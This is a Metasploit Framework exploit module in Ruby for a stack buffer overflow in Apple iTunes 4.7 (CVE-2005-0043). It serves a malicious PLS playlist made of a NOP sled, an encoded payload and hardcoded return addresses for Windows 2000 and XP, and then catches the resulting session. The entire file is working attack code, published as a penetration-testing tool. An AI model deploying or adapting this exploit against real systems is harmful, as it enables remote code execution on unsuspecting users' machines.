##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple ITunes 4.7 Playlist Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in Apple ITunes 4.7
        build 4.7.0.42. By creating a URL link to a malicious PLS
        file, a remote attacker could overflow a buffer and execute
        arbitrary code. When using this module, be sure to set the 
        URIPATH with an extension of '.pls'.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'MC', 
      'Version'        => '$Revision$',
      'References'     => 
        [
          [ 'CVE', '2005-0043' ],
          [ 'OSVDB', '12833' ],
          [ 'BID', '12238' ],
        ],

      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },

      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro English SP4',  { 'Ret' => 0x75033083 } ],
          [ 'Windows XP Pro English SP2',    { 'Ret' => 0x77dc2063 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jan 11 2005',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    cruft   = rand(9).to_s
    
    sploit =  make_nops(2545) + payload.encoded + [target.ret].pack('V') 

    # Build the HTML content
    content =  "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n" 
    content << "File#{cruft}=http://#{sploit}"

    print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

    # Transmit the response to the client
    send_response_html(cli, content, { 'Content-Type' => 'text/html' })
    
    # Handle the payload
    handler(cli)    
  end

end